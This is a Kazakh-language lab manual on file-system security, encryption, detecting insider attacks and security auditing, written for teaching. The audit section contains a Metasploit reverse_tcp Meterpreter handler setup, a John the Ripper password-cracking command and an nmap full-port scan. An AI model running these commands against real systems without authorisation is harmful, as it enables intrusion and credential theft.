- **EXT4 файлдық жүйесінде қауіпсіздікті қамтамасыз ету үшін noexec, nosuid, nodev сияқты параметрлерді қолдану: /etc/fstab конфигурация файлында жазба жасау арқылы сыртқы құрылғылар мен деректерді қорғауды арттыруға болады: /dev/sdb1 /mnt/usb ext4 noexec,nosuid,nodev 0 0
- Файлдар мен деректерді шифрлау

2.1 BitLocker (Windows) арқылы шифрлау Тапсырма: BitLocker көмегімен деректерді шифрлау.

Қадамдар:

- BitLocker арқылы дискіні шифрлау: Windows жүйесінде дискіні шифрлау үшін BitLocker құралын қолдануға болады:
- Дискіні шифрлау үшін "Control Panel" > "System and Security" > "BitLocker Drive Encryption" бөліміне өтіңіз.
- Дискіні таңдап, "Turn on BitLocker" опциясын таңдаңыз.
- Шифрлау үшін пароль немесе USB құрылғысын пайдалану мүмкіндігін таңдаңыз.
- Шифрлау процесін аяқтау және дискіні ашу:
- Шифрлау аяқталғаннан кейін, жүйе әрқашан парольді немесе тіркелген құрылғыны сұрайды.

2.2 VeraCrypt арқылы шифрлау

Тапсырма: VeraCrypt арқылы файлдарды немесе диск бөлімдерін шифрлау. Қадамдар:

- VeraCrypt орнату және іске қосу: VeraCrypt орнатқаннан кейін, оның интерфейсін ашып, жаңа шифрланған контейнер жасау үшін "Create Volume" опциясын таңдаңыз.
- Шифрланған контейнерді жасау:
- VeraCrypt интерфейсінде "Create an encrypted file container" опциясын таңдап, контейнер файлын жасаңыз.
- Контейнер файлын таңдағаннан кейін, оған пароль орнату қажет.
- Файлдар мен деректерді шифрлау:
- Шифрланған контейнерді VeraCrypt арқылы мониторап, оған қажетті деректерді көшіріңіз.
- Құжаттар мен деректерді бекіту және құқықтарды орнату

3.1 Файлдар мен деректер үшін рұқсаттарды орнату

Тапсырма: Құжаттар мен деректер үшін қауіпсіз құқықтарды орнату. Қадамдар:

- Windows жүйесінде файл рұқсаттарын орнату:
- Файлды немесе каталогты тінтуірдің оң жақ түймесімен басып, "Properties" бөліміне өтіп, "Security" қойындысында рұқсаттарды орнатыңыз.
- Қажетті қолданушылар мен топтар үшін рұқсаттарды өзгертіңіз.
- Linux жүйесінде файл рұқсаттарын орнату:
- Файл немесе каталог үшін рұқсаттарды орнату үшін chmod және chown командаларын пайдаланыңыз: sudo chmod 600 /path/to/file sudo chown user:user /path/to/file
- Аутентификация мен рұқсаттарды бақылау үшін арнайы құралдар:

- Linux: SELinux немесе AppArmor сияқты құралдарды пайдалану арқылы файлдық жүйе қауіпсіздігін күшейту.
- Windows: "Audit" мүмкіндіктерін қолдану арқылы файлға қолжетімділікті бақылау.
- Файлдар мен деректердің қауіпсіздігін тексеру

4.1 Деректердің шифрлануы мен құқықтарының дұрыс орнатылғанын тексеру

Тапсырма: Файлдардың шифрлануы мен қауіпсіздік құқықтарын тексеру. Қадамдар:

- Шифрланудың дұрыстығын тексеру (BitLocker және VeraCrypt):
- Windows жүйесінде BitLocker күйін тексеру: manage-bde -status
- VeraCrypt контейнерінің шифрланғанын тексеру үшін VeraCrypt интерфейсінде контейнерді ашып, деректердің қолжетімділігін тексеріңіз.
- Құқықтарды тексеру:
- Windows: icacls "C:\path\to\file"
- Linux: ls -l /path/to/file
- Шифрлау мен құқықтарды бұзу мүмкіндігін тексеру:
- Файлдың рұқсаттары мен шифрлау әдістерін бұзу үшін арнайы құралдар мен скрипттерді (мысалы, hydra, john the ripper) қолдану арқылы жүйенің осал тұстарын анықтау.

ҚОРЫТЫНДЫ

Бұл практикалық тапсырмалар файлдық жүйелердің қауіпсіздігін зерттеу, деректерді шифрлау, құқықтарды орнату және қорғау, сондай-ақ файлдар мен деректердің қауіпсіздігін тексеру бойынша пайдалы дағдыларды дамытады. Жүйені қорғау үшін шифрлау және рұқсаттарды дұрыс орнату өте маңызды, себебі олар деректердің құпиялылығын және тұтастығын сақтайды. Практикалық сабақ №14

Тақырыбы: Ішкі шабуылдарды анықтау және болдырмау

Жүйеде файлдық жүйелердің қауіпсіздігін қорғау — ақпараттың құпиялылығын, тұтастығын және қолжетімділігін қамтамасыз ету үшін маңызды. Бұл тапсырмаларда біз NTFS және EXT4 файлдық жүйелерінің қауіпсіздігін зерттеп, BitLocker, VeraCrypt сияқты құралдар арқылы файлдар мен деректерді шифрлап, деректерге құқықтарды орнату мен қорғау шараларын қарастырамыз. Сондай-ақ, файлдар мен деректердің қауіпсіздігін тексеру әдістері туралы айтатын боламыз.

1. Файлдық жүйелердің қауіпсіздігін зерттеу

1.1 NTFS (Windows) қауіпсіздігін зерттеу

Тапсырма: NTFS файлдық жүйесін қауіпсіз ету үшін оның конфигурациясын және құқықтарын тексеру. Қадамдар:

- NTFS файлдық жүйесінде құқықтар мен рұқсаттарды тексеру:
- Windows жүйесінде, командалық жол арқылы файл немесе каталог құқықтарын тексеру үшін icacls командасын пайдаланыңыз: icacls "C:\path\to\folder" Бұл команда көрсетілген папкадағы барлық файлдардың құқықтарын көрсетеді.
- Құқықтарды өзгерту:
- Белгілі бір қолданушыға немесе топқа рұқсаттарды өзгерту үшін келесі команданы қолдануға болады: icacls "C:\path\to\folder" /grant UserName:F Бұл команда көрсетілген каталог үшін UserName қолданушысына толық құық береді.
- NTFS журналын тексеру (NTFS Journaling): NTFS файлдық жүйесі журналдауды қолдайды. Файлдарды жаңарту немесе жою әрекеттері журналға жазылады. Бұл жүйенің тұрақтылығын және деректердің тұтастығын сақтау үшін маңызды.

1.2 EXT4 (Linux) қауіпсіздігін зерттеу

Тапсырма: EXT4 файлдық жүйесіндегі құқықтарды тексеру және қорғауды зерттеу. Қадамдар:

- EXT4 файлдық жүйесінің құқықтарын тексеру: Linux жүйесінде файл немесе каталог құқықтарын ls -l командасымен тексеруге болады: ls -l /path/to/file_or_folder Бұл команда файлдың иесі, тобы және рұқсаттар туралы ақпаратты көрсетеді.
- Құқықтарды өзгерту: chmod және chown командаларын пайдаланып, құқықтарды өзгерту:
- Рұқсаттарды өзгерту: sudo chmod 700 /path/to/folder
- Иесі мен тобын өзгерту: sudo chown user:group /path/to/folder
- **EXT4 файлдық жүйесінде қауіпсіздікті қамтамасыз ету үшін noexec, nosuid, nodev сияқты параметрлерді қолдану: /etc/fstab конфигурация файлында жазба жасау арқылы сыртқы құрылғылар мен деректерді қорғауды арттыруға болады: /dev/sdb1 /mnt/usb ext4 noexec,nosuid,nodev 0 0
- Файлдар мен деректерді шифрлау

2.1 BitLocker (Windows) арқылы шифрлау Тапсырма: BitLocker көмегімен деректерді шифрлау.

Қадамдар:

- BitLocker арқылы дискіні шифрлау: Windows жүйесінде дискіні шифрлау үшін BitLocker құралын қолдануға болады:
- Дискіні шифрлау үшін "Control Panel" > "System and Security" > "BitLocker Drive Encryption" бөліміне өтіңіз.
- Дискіні таңдап, "Turn on BitLocker" опциясын таңдаңыз.
- Шифрлау үшін пароль немесе USB құрылғысын пайдалану мүмкіндігін таңдаңыз.
- Шифрлау процесін аяқтау және дискіні ашу:
- Шифрлау аяқталғаннан кейін, жүйе әрқашан парольді немесе тіркелген құрылғыны сұрайды.

2.2 VeraCrypt арқылы шифрлау

Тапсырма: VeraCrypt арқылы файлдарды немесе диск бөлімдерін шифрлау. Қадамдар:

- VeraCrypt орнату және іске қосу: VeraCrypt орнатқаннан кейін, оның интерфейсін ашып, жаңа шифрланған контейнер жасау үшін "Create Volume" опциясын таңдаңыз.
- Шифрланған контейнерді жасау:
- VeraCrypt интерфейсінде "Create an encrypted file container" опциясын таңдап, контейнер файлын жасаңыз.
- Контейнер файлын таңдағаннан кейін, оған пароль орнату қажет.
- Файлдар мен деректерді шифрлау:
- Шифрланған контейнерді VeraCrypt арқылы мониторап, оған қажетті деректерді көшіріңіз.
- Құжаттар мен деректерді бекіту және құқықтарды орнату

3.1 Файлдар мен деректер үшін рұқсаттарды орнату

Тапсырма: Құжаттар мен деректер үшін қауіпсіз құқықтарды орнату. Қадамдар:

- Windows жүйесінде файл рұқсаттарын орнату:
- Файлды немесе каталогты тінтуірдің оң жақ түймесімен басып, "Properties" бөліміне өтіп, "Security" қойындысында рұқсаттарды орнатыңыз.
- Қажетті қолданушылар мен топтар үшін рұқсаттарды өзгертіңіз.
- Linux жүйесінде файл рұқсаттарын орнату:
- Файл немесе каталог үшін рұқсаттарды орнату үшін chmod және chown командаларын пайдаланыңыз: sudo chmod 600 /path/to/file sudo chown user:user /path/to/file
- Аутентификация мен рұқсаттарды бақылау үшін арнайы құралдар:
- Linux: SELinux немесе AppArmor сияқты құралдарды пайдалану арқылы файлдық жүйе қауіпсіздігін күшейту.
- Windows: "Audit" мүмкіндіктерін қолдану арқылы файлға қолжетімділікті бақылау.
- Файлдар мен деректердің қауіпсіздігін тексеру

4.1 Деректердің шифрлануы мен құқықтарының дұрыс орнатылғанын тексеру

Тапсырма: Файлдардың шифрлануы мен қауіпсіздік құқықтарын тексеру. Қадамдар:

- Шифрланудың дұрыстығын тексеру (BitLocker және VeraCrypt):
- Windows жүйесінде BitLocker күйін тексеру: manage-bde -status
- VeraCrypt контейнерінің шифрланғанын тексеру үшін VeraCrypt интерфейсінде контейнерді ашып, деректердің қолжетімділігін тексеріңіз.
- Құқықтарды тексеру:
- Windows: icacls "C:\path\to\file"
- Linux: ls -l /path/to/file
- Шифрлау мен құқықтарды бұзу мүмкіндігін тексеру:
- Файлдың рұқсаттары мен шифрлау әдістерін бұзу үшін арнайы құралдар мен скрипттерді (мысалы, hydra, john the ripper) қолдану арқылы жүйенің осал тұстарын анықтау.

ҚОРЫТЫНДЫ

Бұл практикалық тапсырмалар файлдық жүйелердің қауіпсіздігін зерттеу, деректерді шифрлау, құқықтарды орнату және қорғау, сондай-ақ файлдар мен деректердің қауіпсіздігін тексеру бойынша пайдалы дағдыларды дамытады. Жүйені қорғау үшін шифрлау және рұқсаттарды дұрыс орнату өте маңызды, себебі олар деректердің құпиялылығын және тұтастығын сақтайды. Ішкі шабуылдарды анықтау және болдырмау тақырыбы бойынша практикалық тапсырмалар: Ішкі шабуылдар — бұл ұйымның ішінде немесе жүйенің ішінде орын алатын қауіптер, олар әдетте ұйымның өз қызметкерлері немесе жүйеге заңды түрде қол жеткізуге рұқсат алған адамдар тарапынан жүзеге асырылады. Мұндай шабуылдар көбінесе сыртқы шабуылдарға қарағанда ауыр зардаптар тудыруы мүмкін, себебі ішкі пайдаланушылар жүйеге толық немесе жартылай рұқсатпен қол жеткізе алады. Ішкі шабуылдарды анықтау және болдырмау үшін бірнеше практикалық тапсырмалар орындауға болады.

1. Ішкі шабуылдарды анықтау үшін журналдар мен оқиғаларды талдау Тапсырма: Жүйе журналдарын (logs) талдап, күдікті әрекеттерді анықтау. Қадамдар:
2. Журналдарды бақылау:
3. Linux: /var/log/auth.log және /var/log/syslog файлдарын тексеру.
4. Windows: Event Viewer құралын пайдалану (Windows журналдарын тексеру). Оқиғаларды фильтрациялау және талдау үшін grep, awk, немесе басқа құралдарды қолдану: grep "failed" /var/log/auth.log # Күдікті кіріс әрекеттерін іздеу
5. Күдікті әрекеттерді іздеу:
6. Жоғары деңгейлі құқықтармен жүйеге кіру (root немесе administrator рұқсаттары).
7. Тәжірибеден тыс уақытта жүйеге кіру әрекеттері.
8. Жүйеде өзгерістер жасауға тырысатын пайдаланушылар.
9. Мәнмәтінде заңсыз немесе қажетсіз файлдарды көшіру/өшіру әрекеттері.
10. Қауіпсіздік оқиғаларын бақылайтын құралдарды орнату:
11. Linux: auditd қызметін орнату, яғни қауіпсіздік журналдарын бақылау.
12. Windows: Windows Security Logs және Windows Defender құралдарын пайдалану.
13. Келесі әрекеттердің бақылауы Тапсырма: Жүйеде пайдаланушылардың әрекеттерін бақылау және қадағалау. Қадамдар:
14. Жүйе әрекеттерін бақылау:
15. Linux: auditd немесе sysstat арқылы жүйе жұмысының әртүрлі әрекеттерін бақылау. sudo apt install auditd sudo auditctl -w /etc/passwd -p wa # /etc/passwd файлында өзгерістерді бақылау
16. Windows: PowerShell немесе Windows Defender арқылы кіріс әрекеттерін тексеру.
17. Пайдаланушы сессияларының мониторингі:
18. Linux: lastlog # Пайдаланушының соңғы кіруін көру
19. Windows: Event Viewer арқылы жүйедегі пайдаланушылардың кіріс тарихын бақылау.

20. Пайдаланушылардың құқықтарын бақылау: Пайдаланушылардың қажетсіз жоғары құқықтармен жүйеге кіруін болдырмау үшін оларды үнемі тексеру және шектеу. Мысалы:
21. Linux: usermod және passwd командаларын пайдаланып пайдаланушылардың құқықтарын бақылау.
22. Windows: Пайдаланушылардың рұқсаттарын тексеру және өзгерту үшін "Local Users and Groups" құралын пайдалану.
23. Қолданушы құқықтарын басқару Тапсырма: Қолданушы құқықтарын минимизациялау және қажетсіз құқықтарды жою. Қадамдар:
24. Минималды құқықтар саясатын орнату: Әр пайдаланушыға тек қажетті құқықтарды беру. Мысалы, әкімшілердің құқықтарын тек шектеулі пайдаланушыларға беру:
25. Linux: sudo арқылы әкімші құқықтарын тек қажетті пайдаланушыларға беріңіз. usermod -aG sudo user_name
26. Windows: "Local Security Policy" арқылы пайдаланушының құқықтарын реттеңіз.
27. Құқықтарды бақылау:
28. Қолданушыларға нақты құқықтар тағайындап, олардың жүйеге қандай қолжетімділікке ие екендігін үнемі тексеру.
29. Linux: Файлдар мен каталогтардағы құқықтарды бақылау үшін chmod, chown, және setfacl командаларын қолдану.
30. Қауіпсіздік патчтары мен жаңартуларды орнату Тапсырма: Жүйе қауіпсіздігін қамтамасыз ету үшін патчтарды және жаңартуларды уақытында орнату. Қадамдар:
31. Linux жүйесінде жаңартуларды тексеру және орнату: sudo apt update && sudo apt upgrade # Debian/Ubuntu жүйесінде жаңартуларды орнату sudo yum update # CentOS/RHEL жүйесінде жаңартуларды орнату
32. Windows жүйесінде жаңартуларды орнату: Windows жүйесінде "Windows Update" немесе PowerShell арқылы жаңартуларды орнату: powershell Copy code Get-WindowsUpdate Install-WindowsUpdate
33. Автоматты жаңартуларды қосу: Автоматты түрде жаңартуларды орнатып, ішкі шабуылдарға мүмкіндік бермей, жүйені үнемі қорғау.
34. Ішкі шабуылдардың алдын алу үшін ескертулер мен автоматты әрекеттер Тапсырма: Ішкі шабуылдардың алдын алу үшін ескертулер орнату және автоматты қорғау шараларын қабылдау. Қадамдар:
35. IDS/IPS жүйесін орнату және конфигурациялау: Snort немесе Suricata сияқты жүйелерді орнатып, оларды ішкі шабуылдарды анықтау үшін конфигурациялау:
36. Linux: sudo apt install snort sudo snort -A console -c /etc/snort/snort.conf
37. Windows: Snort немесе Suricata сияқты IDS/IPS жүйелерін орнатып, трафикті бақылап, күдікті әрекеттерді анықтау.
38. Файл жүйесінің өзгерістерін бақылау: Tripwire немесе AIDE сияқты құралдар арқылы файлдардың тұтастығын тексеру және ішкі шабуылдарды болдырмау:
39. Linux: sudo apt install aide sudo aideinit
40. Бұл құралдар жүйедегі файлдарда күдікті өзгерістер болған жағдайда ескерту береді.
41. Ішкі шабуылдарды болдырмау үшін қызметкерлерге қауіпсіздік туралы білім беру Тапсырма: Қызметкерлерге ішкі шабуылдарға қарсы тұру және қауіпсіздік шараларын дұрыс қолдану бойынша тренинг өткізу. Қадамдар:
42. Қызметкерлерге қауіпсіздік саясаттарын түсіндіру: Қызметкерлерге құпия ақпаратты қалай қорғау керектігін, корпоративтік желі мен жүйеге қандай рұқсаттарды пайдалану керек екендігін түсіндіру.
43. Қауіпсіздік оқыту курстары мен тесттерін өткізу: Ішкі шабуылдарды алдын алу мақсатында қызметкерлерге әлеуметтік инженерия және басқа да шабуыл түрлеріне қарсы оқыту бағдарламаларын өткізу.

ҚОРЫТЫНДЫ

Ішкі шабуылдарды анықтау және болдырмау үшін журналдарды бақылап, жүйе әрекеттерін үнемі тексеріп, құқықтарды дұрыс тағайындап, жаңартуларды уақытында орнату қажет. IDS/IPS жүйелері мен файл жүйесін бақылау құралдары арқылы күдікті әрекеттерді тез арада анықтап, шара қолдану мүмкіндігі бар. Сонымен қатар, қызметкерлерді үнемі оқыту арқылы ішкі шабуылдарға қарсы тұру деңгейін арттыру өте маңызды.

Практикалық сабақ №15

Тақырыбы: Ақпараттық жүйенің қауіпсіздігін бағалау және аудит жүргізу

Жүйені қауіпсіздік аудиті үшін талдаудан өткізу. Ақпараттық қауіптерді анықтап, жүйеде осалдықтарды тексеру. Қауіпсіздікті қамтамасыз ету үшін шаралар ұсыну. Аудит нәтижелерін есепке алып, қауіпсіздікті жақсарту ұсыныстарын енгізу. Ақпараттық жүйенің қауіпсіздігін бағалау және аудит жүргізу — бұл ақпараттық жүйелердің осал тұстарын анықтап, оларды қорғау мақсатында шаралар қабылдауды талап ететін маңызды процесс. Практикалық тапсырмалар ақпараттық жүйенің қауіпсіздігін талдауға, осалдықтарды анықтауға, қауіпсіздікті қамтамасыз ету үшін шаралар ұсынуға және аудит нәтижелерін есепке алып, ұсыныстар енгізуге бағытталған.

1. Жүйені қауіпсіздік аудиті үшін талдаудан өткізу Тапсырма: Ақпараттық жүйенің қауіпсіздік жағдайын бағалау үшін аудит жүргізу. Қадамдар:
2. Қауіпсіздік саясаттары мен процедураларын тексеру:
3. Қауіпсіздік саясатын, ішкі қауіпсіздік стандарттарын және барлық қорғау процедураларын тексеру.
4. Жүйе саясаттары: Парольдер, рұқсаттар, желі қауіпсіздігі, деректерді қорғау бойынша саясаттарды тексеру.
5. Құжаттар мен рәсімдер: Қауіпсіздік инциденттерін тіркеу, тергеу және болдырмау бойынша ішкі ережелердің орындалуын бақылау.
6. Қауіпсіздік аудитін жоспарлау:
7. Аудит жүргізу үшін критерийлер мен құралдарды таңдау.
8. Аудиттің мақсаттарын анықтау (мысалы, желі қауіпсіздігі, деректердің тұтастығы, жүйе қатынасының басқарылуы).
9. Аудит құралдарын пайдалану:
10. Nessus, OpenVAS, Nmap сияқты осалдықтарды бағалау құралдарын пайдалану.
11. Жүйеге сыртқы және ішкі шабуылдардан қорғау деңгейін тексеру үшін порттар мен қызметтерді тексеру.
12. Құралдарды қолдану:
13. Nessus: Бұл қауіпсіздік аудиторлық құрал жүйенің осалдықтарын сканерлеуге мүмкіндік береді.
14. Nmap: Жүйе порттарын сканерлеу және қызметтерді анықтау үшін. bash Copy code nmap -sS -O -p- <IP> # Барлық порттарды тексеру
15. Ақпараттық қауіптерді анықтап, жүйеде осалдықтарды тексеру Тапсырма: Жүйеде қауіптерді анықтап, осалдықтарды талдау. Қадамдар:
16. Порттар мен қызметтерді тексеру:
17. Жүйеде ашық порттарды сканерлеу және сыртқы қауіптерді анықтау. nmap <IP-адрес>
18. Ашық порттар арқылы жүйеге кіру мүмкіндіктерін бағалау.
19. Жүйелік журналдарды талдау:
20. Linux: /var/log/auth.log және /var/log/syslog файлдарын тексеру.
21. Windows: Event Viewer құралын пайдалану.
22. Күдікті әрекеттер мен аномалияларды іздеу.
23. Қауіпсіздік осалдықтарын тексеру:
24. VulnScan және Nikto сияқты веб-сканерлер арқылы веб-сайттар мен серверлердегі осалдықтарды тексеру.
25. Metasploit: Анықталған осалдықтарды тексеру және оларды пайдаланудың мүмкін жолдарын бағалау. msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <IP> run
26. Қауіпсіздік хаттамаларын тексеру:
27. Желілік хаттамаларда (SSL/TLS, HTTP) осалдықтар мен қауіптерді тексеру. Мысалы, SSL тексеру құралдары арқылы SSL сертификаттарының дұрыстығын және күшін тексеру. sslscan <domain_name>
28. Парольдер мен аутентификация жүйесін бағалау:
29. Құпиясөздердің күшін тексеру (пароль саясатын тексеру).
30. John the Ripper немесе Hydra сияқты құралдар арқылы парольдерді бұзу. john --wordlist=password.lst hashfile
31. Қауіпсіздікті қамтамасыз ету үшін шаралар ұсыну Тапсырма: Жүйедегі осалдықтарды анықтап, қауіпсіздікті қамтамасыз ету үшін шаралар ұсыну. Қадамдар:
32. Құпиясөз саясатын жетілдіру:
33. Құпиясөздердің күшті болуын қамтамасыз ету (минималды ұзындық, әртүрлі таңбалар, өзгерту мерзімі).

34. Жүйеде көпфакторлы аутентификацияны орнату (мысалы, 2FA).
35. Порттар мен қызметтерді қорғау:
36. Жүйеде қажетсіз немесе ашық порттарды жабу.
37. Фаерволды және басқа қауіпсіздік жүйелерін конфигурациялау.
38. iptables немесе ufw (Linux) арқылы қауіпсіздік ережелерін орнату: sudo ufw enable sudo ufw allow from <IP_address> to any port 22
39. Қауіпсіздік патчтарын орнату:
40. Жүйеде қолданылатын барлық бағдарламалар мен операциялық жүйелер үшін қауіпсіздік жаңартуларын уақытында орнату.
41. Linux: Пакет менеджерлерін (APT, YUM) пайдаланып, жүйені жаңарту. sudo apt update && sudo apt upgrade
42. Windows: Windows Update арқылы қауіпсіздік жаңартуларын орнату.
43. Кіріс және шығыс трафикті бақылау:
44. IDS/IPS жүйелерін орнату (Snort, Suricata).
45. Кіріс трафигін мониторинг жасау үшін трафикті бақылау құралдарын (Wireshark, tcpdump) пайдалану.
46. Бекіту құралдарын қолдану:
47. SELinux (Linux жүйесінде) немесе AppArmor арқылы жүйенің қауіпсіздігін күшейту.
48. Antivirus және antimalware бағдарламаларын орнату.
49. Data Loss Prevention (DLP) құралдарын қолдану.
50. Аудит нәтижелерін есепке алып, қауіпсіздікті жақсарту ұсыныстарын енгізу Тапсырма: Аудит нәтижелерін талдап, жүйе қауіпсіздігін жақсарту ұсыныстарын енгізу. Қадамдар:
51. Аудит нәтижелерін есепке алу:
52. Аудит барысында анықталған осалдықтарды, қауіптерді және аномалияларды жазып алыңыз.
53. Қауіптерді жүйелеу және оларды приоритетке қою.
54. Жоғары қауіптер (құпия деректерді ұрлау, жүйе бұзылуы).
55. Орташа және төмен қауіптер (артық қызметтер, құралдар).
56. Қауіпсіздік саясатын жаңарту:
57. Аудит нәтижелеріне сүйене отырып, ұйымның қауіпсіздік саясатын қайта қарау және жаңарту.
58. Қауіпсіздік стандарттары мен процедураларын енгізу.
59. Реттеуші шаралар енгізу:
60. Қауіпсіздікті арттыру үшін ұсынылған шараларды іске асыру (жаңа құралдарды орнату, протоколдарды нығайту, патчтарды орнату).
61. Келесі аудит үшін алдын ала жоспар құру.
62. Қызметкерлерді оқыту және хабардар ету:
63. Қауіпсіздік инциденттеріне және ішкі шабуылдарға қарсы тұру бойынша қызметкерлерді оқыту.
64. Қауіпсіздік жөніндегі тренингтер өткізу, қауіпсіздік мәдениетін қалыптастыру.

ҚОРЫТЫНДЫ

Ақпараттық жүйенің қауіпсіздігін бағалау және аудит жүргізу процесі ұйымның жүйелеріндегі осалдықтарды анықтау, қорғау шараларын ұсыну және қауіпсіздікті жақсарту бойынша нақты қадамдарды жасауды қамтиды. Бұл тапсырмалар аудит құралдарын пайдалану, жүйелік журналдарды тексеру, қауіптерді талдау, қауіпсіздік шараларын ұсыну және ұйымның қауіпсіздік саясатын жетілдіруге бағытталған. Ұсынылған әдебиеттер тізімі: Негізгі әдебиеттер:

1.UNIX Желілік бағдарламалауAPI желілік сокеттері.1 том - Алматы, Дәуір, 2017,488б

1. Абдрашова Э.Т.Компьютерлік желілер/оқу құралы-Шымкент,2018, 90б
2. Абдрашова Э. Ақпараттық қауіпсіздік және ақпаратты қорғау/оқу құралы-Шымкент,Нұрлы бейне,2019,88б
3. Байзақов О. Компьютерлік желілер /оқу құралы-Шымкент,Нұрлы бейне,2019,89б

Қосымша әдебиеттер:

1.Мухамеджанова А.Ақпараттық жүйелердің негіздері/ оқу құралы-Шымкент, Нұрлы бейне, 2019 ж, 96 б

1. Жұманбаева А. Ақпараттық жүйелер жобаларын басқару негіздері/оқу құралы-Алматы, ҚУ, 2013 ж,148 б